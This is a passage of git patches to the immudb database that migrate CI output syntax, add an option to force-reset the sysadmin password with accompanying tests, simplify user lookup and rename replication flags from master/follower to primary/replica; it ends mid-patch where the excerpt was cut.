From 3e1c131b1b4081f84e8c38cc3d0245b90e0afa04 Mon Sep 17 00:00:00 2001 From: Miles Liu Date: Thu, 27 Oct 2022 16:44:38 +0800 Subject: [PATCH 0001/1062] chore(ci): migrate deprecating set-output commands Signed-off-by: Miles Liu --- .github/workflows/performance.yml | 2 +- .github/workflows/pull.yml | 2 +- .github/workflows/push.yml | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index aef43bfbf5..0dd7f5d6a4 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -31,7 +31,7 @@ jobs: RES="$(echo "${PERF_TEST_RUNS_ON:-${PERF_TEST_RUNS_ON_DEFAULT}}" | jq -c '.targets')" echo "Detected targets:" echo "$RES" | jq . - echo "::set-output name=matrix::${RES}" + echo "matrix=${RES}" >> $GITHUB_OUTPUT performance-test-suite: name: Performance Test Suite (${{ matrix.target.name }}) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index aaef4fa197..e79ef76ebd 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -177,7 +177,7 @@ jobs: RES="$(echo "${PERF_TEST_RUNS_ON:-${PERF_TEST_RUNS_ON_DEFAULT}}" | jq -c '.targets')" echo "Detected targets:" echo "$RES" | jq . - echo "::set-output name=matrix::${RES}" + echo "matrix=${RES}" >> $GITHUB_OUTPUT performance-test-suite: needs: performance-test-suite-detect-runners diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 2903b1a063..429e5ebd7b 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -62,7 +62,7 @@ jobs: args: n git://. --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} - id: list-binaries run: | - echo "::set-output name=matrix::$(ls dist | jq -R -s -c 'split("\n")[:-1] | {binary: .}')" + echo "matrix=$(ls dist | jq -R -s -c 'split("\n")[:-1] | {binary: .}')" >> $GITHUB_OUTPUT - name: Upload binary artifacts uses: actions/upload-artifact@v3 with: From 352db9ad03baf00fca1a0ddd3796b6a8cfaa6b5b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 8 Nov 2022 16:41:36 +0100 Subject: [PATCH 0002/1062] chore(cmd/immudb): Allow resetting sysadmin password MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- cmd/immudb/command/init.go | 2 ++ cmd/immudb/command/parse_options.go | 2 ++ pkg/server/errors.go | 1 + pkg/server/options.go | 8 +++++ pkg/server/options_test.go | 16 ++++++--- pkg/server/server.go | 47 ++++++++++++++++++++++++-- pkg/server/server_test.go | 6 ++-- pkg/server/sever_current_state_test.go | 2 +- pkg/server/user_test.go | 2 +- 9 files changed, 75 insertions(+), 11 deletions(-) diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index a60dec7122..0d0c990110 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -58,6 +58,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().String("clientcas", "", "clients certificates list. Aka certificate authority") cmd.Flags().Bool("devmode", options.DevMode, "enable dev mode: accept remote connections without auth") cmd.Flags().String("admin-password", options.AdminPassword, "admin password (default is 'immudb') as plain-text or base64 encoded (must be prefixed with 'enc:' if it is encoded)") + cmd.Flags().Bool("force-admin-password", false, "if true, reset the admin password is to the one passed through `admin-password` option if it was changed") cmd.Flags().Bool("maintenance", options.GetMaintenance(), "override the authentication flag") cmd.Flags().String("signingKey", options.SigningKey, "signature private key path. If a valid one is provided, it enables the cryptographic signature of the root. e.g. \"./../test/signer/ec3.key\"") cmd.Flags().Bool("synced", true, "synced mode prevents data lost under unexpected crashes but affects performance") @@ -108,6 +109,7 @@ func setupDefaults(options *server.Options) { viper.SetDefault("clientcas", "") viper.SetDefault("devmode", options.DevMode) viper.SetDefault("admin-password", options.AdminPassword) + viper.SetDefault("force-admin-password", options.ForceAdminPassword) viper.SetDefault("maintenance", options.GetMaintenance()) viper.SetDefault("synced", true) viper.SetDefault("token-expiry-time", options.TokenExpiryTimeMin) diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 6290b2a53e..40fc9d56bc 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -63,6 +63,7 @@ func parseOptions() (options *server.Options, err error) { devMode := viper.GetBool("devmode") adminPassword := viper.GetString("admin-password") + forceAdminPassword := viper.GetBool("force-admin-password") maintenance := viper.GetBool("maintenance") signingKey := viper.GetString("signingKey") synced := viper.GetBool("synced") @@ -123,6 +124,7 @@ func parseOptions() (options *server.Options, err error) { WithDetached(detached). WithDevMode(devMode). WithAdminPassword(adminPassword). + WithForceAdminPassword(forceAdminPassword). WithMaintenance(maintenance). WithSigningKey(signingKey). WithSynced(synced). diff --git a/pkg/server/errors.go b/pkg/server/errors.go index 40f4927a89..af47c12ff2 100644 --- a/pkg/server/errors.go +++ b/pkg/server/errors.go @@ -32,6 +32,7 @@ var ( ErrIllegalArguments = status.Error(codes.InvalidArgument, database.ErrIllegalArguments.Error()) ErrIllegalState = status.Error(codes.InvalidArgument, database.ErrIllegalState.Error()) ErrEmptyAdminPassword = status.Error(codes.InvalidArgument, "Admin password cannot be empty") + ErrCantUpdateAdminPassword = errors.New("can not update sysadmin password") ErrUserNotActive = "user is not active" ErrInvalidUsernameOrPassword = "invalid user name or password" ErrAuthDisabled = "server is running with authentication disabled, please enable authentication to login" diff --git a/pkg/server/options.go b/pkg/server/options.go index 756bf3abf3..1fecbc6d16 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -54,6 +54,7 @@ type Options struct { WebServerPort int DevMode bool AdminPassword string `json:"-"` + ForceAdminPassword bool systemAdminDBName string defaultDBName string listener net.Listener @@ -116,6 +117,7 @@ func DefaultOptions() *Options { WebServerPort: 8080, DevMode: false, AdminPassword: auth.SysAdminPassword, + ForceAdminPassword: false, systemAdminDBName: SystemDBName, defaultDBName: DefaultDBName, usingCustomListener: false, @@ -353,6 +355,12 @@ func (o *Options) WithAdminPassword(adminPassword string) *Options { return o } +// WithForceAdminPassword ... +func (o *Options) WithForceAdminPassword(forceAdminPassword bool) *Options { + o.ForceAdminPassword = forceAdminPassword + return o +} + // GetSystemAdminDBName returns the System database name func (o *Options) GetSystemAdminDBName() string { return o.systemAdminDBName diff --git a/pkg/server/options_test.go b/pkg/server/options_test.go index 16aa904fa1..fee5b03373 100644 --- a/pkg/server/options_test.go +++ b/pkg/server/options_test.go @@ -38,6 +38,7 @@ func TestOptions(t *testing.T) { op.DevMode != false || op.NoHistograms != false || op.AdminPassword != auth.SysAdminPassword || + op.ForceAdminPassword != false || op.Address != "0.0.0.0" || op.Network != "tcp" || op.Port != 3322 || @@ -100,11 +101,17 @@ func TestSetOptions(t *testing.T) { tlsConfig := &tls.Config{Certificates: []tls.Certificate{}} op := DefaultOptions().WithDir("immudb_dir").WithNetwork("udp"). - WithAddress("localhost").WithPort(2048). - WithPidfile("immu.pid").WithAuth(false). + WithAddress("localhost"). + WithPort(2048). + WithPidfile("immu.pid"). + WithAuth(false). WithMaxRecvMsgSize(4096). - WithDetached(true).WithNoHistograms(true).WithMetricsServer(false). - WithDevMode(true).WithLogfile("logfile").WithAdminPassword("admin"). + WithDetached(true). + WithNoHistograms(true). + WithMetricsServer(false). + WithDevMode(true).WithLogfile("logfile"). + WithAdminPassword("admin"). + WithForceAdminPassword(true). WithStreamChunkSize(4096). WithWebServerPort(8081). WithTokenExpiryTime(52). @@ -130,6 +137,7 @@ func TestSetOptions(t *testing.T) { op.DevMode != true || op.Logfile != "logfile" || op.AdminPassword != "admin" || + op.ForceAdminPassword != true || op.StreamChunkSize != 4096 || op.WebServerPort != 8081 || op.Bind() != "localhost:2048" || diff --git a/pkg/server/server.go b/pkg/server/server.go index ee73294f19..76dc4e1e54 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -126,7 +126,7 @@ func (s *ImmuServer) Initialize() error { return logErr(s.Logger, "Unable to initialize remote storage: %v", err) } - if err = s.loadSystemDatabase(dataDir, s.remoteStorage, adminPassword); err != nil { + if err = s.loadSystemDatabase(dataDir, s.remoteStorage, adminPassword, s.Options.ForceAdminPassword); err != nil { return logErr(s.Logger, "Unable to load system database: %v", err) } @@ -379,7 +379,42 @@ func (s *ImmuServer) printUsageCallToAction() { } } -func (s *ImmuServer) loadSystemDatabase(dataDir string, remoteStorage remotestorage.Storage, adminPassword string) error { +func (s *ImmuServer) resetAdminPassword(adminPassword string) error { + if s.sysDB.IsReplica() { + return errors.New("database is running as a replica") + } + + adminUser, err := s.getUser([]byte(auth.SysAdminUsername), false) + if err != nil { + return fmt.Errorf("could not read sysadmin user data: %v", err) + } + + err = adminUser.ComparePasswords([]byte(adminPassword)) + if err == nil { + // Password is as expected, do not overwrite it to avoid unnecessary + // transactions in systemdb + return nil + } + + _, err = adminUser.SetPassword([]byte(adminPassword)) + if err != nil { + return err + } + + err = s.saveUser(adminUser) + if err != nil { + return err + } + + return nil +} + +func (s *ImmuServer) loadSystemDatabase( + dataDir string, + remoteStorage remotestorage.Storage, + adminPassword string, + forceAdminPasswordReset bool, +) error { if s.dbList.Length() != 0 { panic("loadSystemDatabase should be called before any other database loading") } @@ -399,6 +434,14 @@ func (s *ImmuServer) loadSystemDatabase(dataDir string, remoteStorage remotestor return err } + if forceAdminPasswordReset { + err := s.resetAdminPassword(adminPassword) + if err != nil { + s.Logger.Errorf("Can not reset admin password, %v", err) + return ErrCantUpdateAdminPassword + } + } + if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(s.sysDB, dbOpts) if err != nil { diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 71e3aab015..8e9ec8b2ce 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -110,7 +110,7 @@ func TestServerReOpen(t *testing.T) { s, closer := testServer(serverOptions) defer closer() - err := s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword) + err := s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(dbRootpath, nil) @@ -121,7 +121,7 @@ func TestServerReOpen(t *testing.T) { s, closer = testServer(serverOptions) defer closer() - err = s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword) + err = s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(dbRootpath, nil) @@ -138,7 +138,7 @@ func TestServerSystemDatabaseLoad(t *testing.T) { s, closer := testServer(serverOptions) defer closer() - err := s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword) + err := s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(dbRootpath, nil) diff --git a/pkg/server/sever_current_state_test.go b/pkg/server/sever_current_state_test.go index 5b4e964939..1c2b4cb322 100644 --- a/pkg/server/sever_current_state_test.go +++ b/pkg/server/sever_current_state_test.go @@ -46,7 +46,7 @@ func TestServerCurrentStateSigned(t *testing.T) { stSig := NewStateSigner(sig) s = s.WithOptions(s.Options.WithAuth(false).WithSigningKey("foo")).WithStateSigner(stSig).(*ImmuServer) - err = s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword) + err = s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(dbRootpath, nil) diff --git a/pkg/server/user_test.go b/pkg/server/user_test.go index 5d2ad4e9fd..54a8608ddb 100644 --- a/pkg/server/user_test.go +++ b/pkg/server/user_test.go @@ -147,7 +147,7 @@ func TestServerListUsersAdmin(t *testing.T) { s.dbList = database.NewDatabaseList() s.sysDB = nil - err = s.loadSystemDatabase(s.Options.Dir, nil, auth.SysAdminPassword) + err = s.loadSystemDatabase(s.Options.Dir, nil, auth.SysAdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(s.Options.Dir, nil) From 28372cb1602fcf7d25645effaccd5352ad78d1df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 8 Nov 2022 17:10:02 +0100 Subject: [PATCH 0003/1062] fix(pkg/server): Remove includeDeactivated flag when querying for users MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This flag was interpreted in an incorrect way and the user activity flag was already checked in other parts of the code. Signed-off-by: Bartłomiej Święcki --- pkg/server/server.go | 2 +- pkg/server/server_test.go | 4 +--- pkg/server/user.go | 18 ++++++------------ 3 files changed, 8 insertions(+), 16 deletions(-) diff --git a/pkg/server/server.go b/pkg/server/server.go index 76dc4e1e54..826167f56f 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -384,7 +384,7 @@ func (s *ImmuServer) resetAdminPassword(adminPassword string) error { return errors.New("database is running as a replica") } - adminUser, err := s.getUser([]byte(auth.SysAdminUsername), false) + adminUser, err := s.getUser([]byte(auth.SysAdminUsername)) if err != nil { return fmt.Errorf("could not read sysadmin user data: %v", err) } diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 8e9ec8b2ce..7b8bef3aec 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -1700,11 +1700,9 @@ func TestServerGetUserAndUserExists(t *testing.T) { require.NoError(t, err) require.NoError(t, err) - _, err = s.getUser([]byte(username), true) + _, err = s.getUser([]byte(username)) require.NoError(t, err) - _, err = s.getUser([]byte(username), false) - require.Equal(t, errors.New("user not found"), err) _, err = s.getValidatedUser([]byte(username), []byte("wrongpass")) require.Error(t, err) diff --git a/pkg/server/user.go b/pkg/server/user.go index 0aea80e019..3b5dd47439 100644 --- a/pkg/server/user.go +++ b/pkg/server/user.go @@ -130,7 +130,7 @@ func (s *ImmuServer) CreateUser(ctx context.Context, r *schema.CreateUserRequest return nil, fmt.Errorf("can not create another system admin") } - _, err = s.getUser(r.User, true) + _, err = s.getUser(r.User) if err == nil { return nil, fmt.Errorf("user already exists") } @@ -320,7 +320,7 @@ func (s *ImmuServer) ChangePassword(ctx context.Context, r *schema.ChangePasswor return nil, fmt.Errorf("username can not be empty") } - targetUser, err := s.getUser(r.User, true) + targetUser, err := s.getUser(r.User) if err != nil { return nil, fmt.Errorf("user %s was not found or it was not created by you", string(r.User)) } @@ -398,7 +398,7 @@ func (s *ImmuServer) ChangePermission(ctx context.Context, r *schema.ChangePermi } //check if user exists - targetUser, err := s.getUser([]byte(r.Username), true) + targetUser, err := s.getUser([]byte(r.Username)) if err != nil { return nil, status.Errorf(codes.NotFound, "user %s not found", string(r.Username)) } @@ -465,7 +465,7 @@ func (s *ImmuServer) SetActiveUser(ctx context.Context, r *schema.SetActiveUserR return nil, fmt.Errorf("changing your own status is not allowed") } - targetUser, err := s.getUser([]byte(r.Username), true) + targetUser, err := s.getUser([]byte(r.Username)) if err != nil { return nil, fmt.Errorf("user %s not found", r.Username) } @@ -533,7 +533,7 @@ func (s *ImmuServer) insertNewUser(username []byte, plainPassword []byte, permis } func (s *ImmuServer) getValidatedUser(username []byte, password []byte) (*auth.User, error) { - userdata, err := s.getUser(username, true) + userdata, err := s.getUser(username) if err != nil { return nil, err } @@ -547,7 +547,7 @@ func (s *ImmuServer) getValidatedUser(username []byte, password []byte) (*auth.U } // getUser returns userdata (username,hashed password, permission, active) from username -func (s *ImmuServer) getUser(username []byte, includeDeactivated bool) (*auth.User, error) { +func (s *ImmuServer) getUser(username []byte) (*auth.User, error) { key := make([]byte, 1+len(username)) key[0] = KeyPrefixUser copy(key[1:], username) @@ -564,12 +564,6 @@ func (s *ImmuServer) getUser(username []byte, includeDeactivated bool) (*auth.Us return nil, err } - if !includeDeactivated { - if usr.Active { - return nil, fmt.Errorf("user not found") - } - } - return &usr, nil } From b85f341657e176db7796dc8cbb4bc89f89b4b4b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 8 Nov 2022 17:12:13 +0100 Subject: [PATCH 0004/1062] test(pkg/server): Test sysadmin user password reset MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- pkg/server/server_test.go | 82 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 7b8bef3aec..08cdd3b77b 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -147,6 +147,88 @@ func TestServerSystemDatabaseLoad(t *testing.T) { require.DirExists(t, path.Join(options.GetDBRootPath(), DefaultOptions().GetSystemAdminDBName())) } +func TestServerResetAdminPassword(t *testing.T) { + serverOptions := DefaultOptions().WithDir(t.TempDir()) + options := database.DefaultOption().WithDBRootPath(serverOptions.Dir) + dbRootpath := options.GetDBRootPath() + + var txID uint64 + + t.Run("Create new database", func(t *testing.T) { + s, closer := testServer(serverOptions) + defer closer() + + err := s.loadSystemDatabase(dbRootpath, nil, "password1", false) + require.NoError(t, err) + + _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password1")) + require.NoError(t, err) + + _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password2")) + require.ErrorContains(t, err, "password") + + txID, err = s.sysDB.Size() + require.NoError(t, err) + }) + + t.Run("Run db without resetting password", func(t *testing.T) { + s, closer := testServer(serverOptions) + defer closer() + + err := s.loadSystemDatabase(dbRootpath, nil, "password2", false) + require.NoError(t, err) + + currTxID, err := s.sysDB.Size() + require.NoError(t, err) + require.Equal(t, txID, currTxID) + + _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password1")) + require.NoError(t, err) + + _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password2")) + require.ErrorContains(t, err, "password") + }) + + t.Run("Run db with password reset", func(t *testing.T) { + s, closer := testServer(serverOptions) + defer closer() + + err := s.loadSystemDatabase(dbRootpath, nil, "password2", true) + require.NoError(t, err) + + // There should be new TX with updated password + currTxID, err := s.sysDB.Size() + require.NoError(t, err) + require.Equal(t, txID+1, currTxID) + + _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password1")) + require.ErrorContains(t, err, "password") + + _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password2")) + require.NoError(t, err) + }) + + t.Run("Run db with password reset but no new tx", func(t *testing.T) { + s, closer := testServer(serverOptions) + defer closer() + + err := s.loadSystemDatabase(dbRootpath, nil, "password2", true) + require.NoError(t, err) + + // No ne TX is needed + currTxID, err := s.sysDB.Size() + require.NoError(t, err) + require.Equal(t, txID+1, currTxID) + + _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password1")) + require.ErrorContains(t, err, "password") + + _, err = s.getValidatedUser([]byte(auth.SysAdminUsername), []byte("password2")) + require.NoError(t, err) + }) + +} + func TestServerWithEmptyAdminPassword(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). From d6a65a7258d4ed481d2935862c14b951d776d6e5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 9 Nov 2022 11:08:26 +0100 Subject: [PATCH 0005/1062] fix(cmd/immudb): Fix description of the `force-admin-password` flag MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Previous description used backtick quotes for `admin-password` that is interpreted in special way by cobra. Signed-off-by: Bartłomiej Święcki --- cmd/immudb/command/init.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 0d0c990110..c8fb3a404f 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -58,7 +58,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().String("clientcas", "", "clients certificates list. Aka certificate authority") cmd.Flags().Bool("devmode", options.DevMode, "enable dev mode: accept remote connections without auth") cmd.Flags().String("admin-password", options.AdminPassword, "admin password (default is 'immudb') as plain-text or base64 encoded (must be prefixed with 'enc:' if it is encoded)") - cmd.Flags().Bool("force-admin-password", false, "if true, reset the admin password is to the one passed through `admin-password` option if it was changed") + cmd.Flags().Bool("force-admin-password", false, "if true, reset the admin password is to the one passed through admin-password option if it was changed") cmd.Flags().Bool("maintenance", options.GetMaintenance(), "override the authentication flag") cmd.Flags().String("signingKey", options.SigningKey, "signature private key path. If a valid one is provided, it enables the cryptographic signature of the root. e.g. \"./../test/signer/ec3.key\"") cmd.Flags().Bool("synced", true, "synced mode prevents data lost under unexpected crashes but affects performance") From 21cb30bcad29ce0dbb96743365e415bb43ad2463 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 9 Nov 2022 13:47:49 +0100 Subject: [PATCH 0006/1062] chore(pkg/server): Warn if sysadmin user password was not reset MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When the user explicitly specify the admin password, warn that the password was not updated even though it is different to the current password to help diagnosing issues with sysadmin logins. Signed-off-by: Bartłomiej Święcki --- pkg/server/server.go | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/pkg/server/server.go b/pkg/server/server.go index 826167f56f..4287296bb2 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -440,6 +440,20 @@ func (s *ImmuServer) loadSystemDatabase( s.Logger.Errorf("Can not reset admin password, %v", err) return ErrCantUpdateAdminPassword } + } else if adminPassword != auth.SysAdminPassword { + // Add warning that the password is not changed even though manually specified + user, err := s.getUser([]byte(auth.SysAdminUsername)) + if err != nil { + s.Logger.Errorf("Can not validate admin user: %v", err) + return err + } + err = user.ComparePasswords([]byte(adminPassword)) + if err != nil { + s.Logger.Warningf( + "Admin password was not updated for an existing user, " + + "use the force-admin-password option to forcibly reset it", + ) + } } if dbOpts.isReplicatorRequired() { From 590316d38e3d2293de641aae2ce776cd1acb4745 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 9 Nov 2022 14:23:33 +0100 Subject: [PATCH 0007/1062] test(pkg/server): Test admin password reset corner cases MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- pkg/server/server_test.go | 91 ++++++++++++++++++++++++++++++++++++++- 1 file changed, 90 insertions(+), 1 deletion(-) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 08cdd3b77b..979a13363a 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -72,6 +72,7 @@ var kvs = []*schema.KeyValue{ func testServer(opts *Options) (*ImmuServer, func()) { s := DefaultServer().WithOptions(opts).(*ImmuServer) return s, func() { + s.CloseDatabases() if s.Listener != nil { s.Listener.Close() } @@ -229,6 +230,95 @@ func TestServerResetAdminPassword(t *testing.T) { } +type dbMockResetAdminPasswordCornerCases struct { + database.DB + setErr error +} + +func (d *dbMockResetAdminPasswordCornerCases) Set(req *schema.SetRequest) (*schema.TxHeader, error) { + return nil, d.setErr +} + +func TestResetAdminPasswordCornerCases(t *testing.T) { + t.Run("Do not allow changing sysadmin password if running as a systemdb replica", func(t *testing.T) { + opts := DefaultOptions().WithDir(t.TempDir()) + opts.ReplicationOptions.WithIsReplica(true) + + s, closer := testServer(opts) + defer closer() + + err := s.Initialize() + require.NoError(t, err) + + err = s.resetAdminPassword("newPassword") + require.ErrorContains(t, err, "database is running as a replica") + }) + + t.Run("Failure to read the current sysadmin user ", func(t *testing.T) { + opts := DefaultOptions().WithDir(t.TempDir()) + + s, closer := testServer(opts) + defer closer() + + err := s.Initialize() + require.NoError(t, err) + + err = s.CloseDatabases() + require.NoError(t, err) + + err = s.resetAdminPassword("newPassword") + require.ErrorContains(t, err, "could not read sysadmin user data") + }) + + t.Run("Failure to read the current sysadmin user", func(t *testing.T) { + opts := DefaultOptions().WithDir(t.TempDir()) + + s, closer := testServer(opts) + defer closer() + + err := s.Initialize() + require.NoError(t, err) + + err = s.CloseDatabases() + require.NoError(t, err) + + err = s.resetAdminPassword("newPassword") + require.ErrorContains(t, err, "could not read sysadmin user data") + }) + + t.Run("Invalid password", func(t *testing.T) { + opts := DefaultOptions().WithDir(t.TempDir()) + + s, closer := testServer(opts) + defer closer() + + err := s.Initialize() + require.NoError(t, err) + + err = s.resetAdminPassword("") + require.ErrorContains(t, err, "password is empty") + }) + + t.Run("Failing to save sysadmin user", func(t *testing.T) { + opts := DefaultOptions().WithDir(t.TempDir()) + + s, closer := testServer(opts) + defer closer() + + err := s.Initialize() + require.NoError(t, err) + + injectedErr := errors.New("injected error") + + s.sysDB = &dbMockResetAdminPasswordCornerCases{ + DB: s.sysDB, + setErr: injectedErr, + } + err = s.resetAdminPassword("newPassword") + require.ErrorIs(t, err, injectedErr) + }) +} + func TestServerWithEmptyAdminPassword(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). @@ -1785,7 +1875,6 @@ func TestServerGetUserAndUserExists(t *testing.T) { _, err = s.getUser([]byte(username)) require.NoError(t, err) - _, err = s.getValidatedUser([]byte(username), []byte("wrongpass")) require.Error(t, err) require.Contains(t, err.Error(), "crypto/bcrypt: hashedPassword is not the hash of the given password") From f42bceb1b57ecce2b93959f683894dad3a65f234 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 9 Nov 2022 15:20:13 +0100 Subject: [PATCH 0008/1062] chore(pkg/server): Better warning for unchanged admin password MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- pkg/server/server.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/server/server.go b/pkg/server/server.go index 4287296bb2..94c89c0660 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -450,7 +450,7 @@ func (s *ImmuServer) loadSystemDatabase( err = user.ComparePasswords([]byte(adminPassword)) if err != nil { s.Logger.Warningf( - "Admin password was not updated for an existing user, " + + "Admin password was not updated, " + "use the force-admin-password option to forcibly reset it", ) } From bda194537565480defc9c4c6b2e85a08360c17dc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 8 Nov 2022 12:47:34 +0100 Subject: [PATCH 0009/1062] fix(cmd): Rename replication flags to follow consistent convention MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- cmd/immuadmin/command/database.go | 35 ++++++++++++++++++----------- cmd/immudb/command/init.go | 23 +++++++++++++------ cmd/immudb/command/parse_options.go | 8 +++---- 3 files changed, 42 insertions(+), 24 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 9769c0fd01..8efd953084 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -38,14 +38,14 @@ func addDbUpdateFlags(c *cobra.Command) { c.Flags().Bool("replication-is-replica", false, "set database as a replica") c.Flags().Bool("replication-sync-enabled", false, "enable synchronous replication") c.Flags().Uint32("replication-sync-acks", 0, "set a minimum number of replica acknowledgements required before transactions can be committed") - c.Flags().String("replication-master-database", "", "set master database to be replicated") - c.Flags().String("replication-master-address", "", "set master address") - c.Flags().Uint32("replication-master-port", 0, "set master port") - c.Flags().String("replication-follower-username", "", "set username used for replication") - c.Flags().String("replication-follower-password", "", "set password used for replication") + c.Flags().String("replication-primary-database", "", "set primary database to be replicated") + c.Flags().String("replication-primary-host", "", "set primary database host") + c.Flags().Uint32("replication-primary-port", 0, "set primary database port") + c.Flags().String("replication-primary-username", "", "set username used for replication to connect to the primary database") + c.Flags().String("replication-primary-password", "", "set password used for replication to connect to the primary database") c.Flags().Uint32("replication-prefetch-tx-buffer-size", uint32(replication.DefaultPrefetchTxBufferSize), "maximum number of prefeched transactions") c.Flags().Uint32("replication-commit-concurrency", uint32(replication.DefaultReplicationCommitConcurrency), "number of concurrent replications") - c.Flags().Bool("replication-allow-tx-discarding", replication.DefaultAllowTxDiscarding, "allow precommitted transactions to be discarded if the follower diverges from the master") + c.Flags().Bool("replication-allow-tx-discarding", replication.DefaultAllowTxDiscarding, "allow precommitted transactions to be discarded if the replica diverges from the primary") c.Flags().Uint32("write-tx-header-version", 1, "set write tx header version (use 0 for compatibility with immudb 1.1, 1 for immudb 1.2+)") c.Flags().Uint32("max-commit-concurrency", store.DefaultMaxConcurrency, "set the maximum commit concurrency") c.Flags().Duration("sync-frequency", store.DefaultSyncFrequency, "set the fsync frequency during commit process") @@ -53,9 +53,18 @@ func addDbUpdateFlags(c *cobra.Command) { c.Flags().Uint32("read-tx-pool-size", database.DefaultReadTxPoolSize, "set transaction read pool size (used for reading transaction objects)") c.Flags().Bool("autoload", true, "enable database autoloading") + flagNameMapping := map[string]string{ + "replication-enabled": "replication-is-replica", + "replication-follower-username": "replication-primary-username", + "replication-follower-password": "replication-primary-password", + "replication-master-database": "replication-primary-database", + "replication-master-address": "replication-primary-host", + "replication-master-port": "replication-primary-port", + } + c.Flags().SetNormalizeFunc(func(f *pflag.FlagSet, name string) pflag.NormalizedName { - if name == "replication-enabled" { - name = 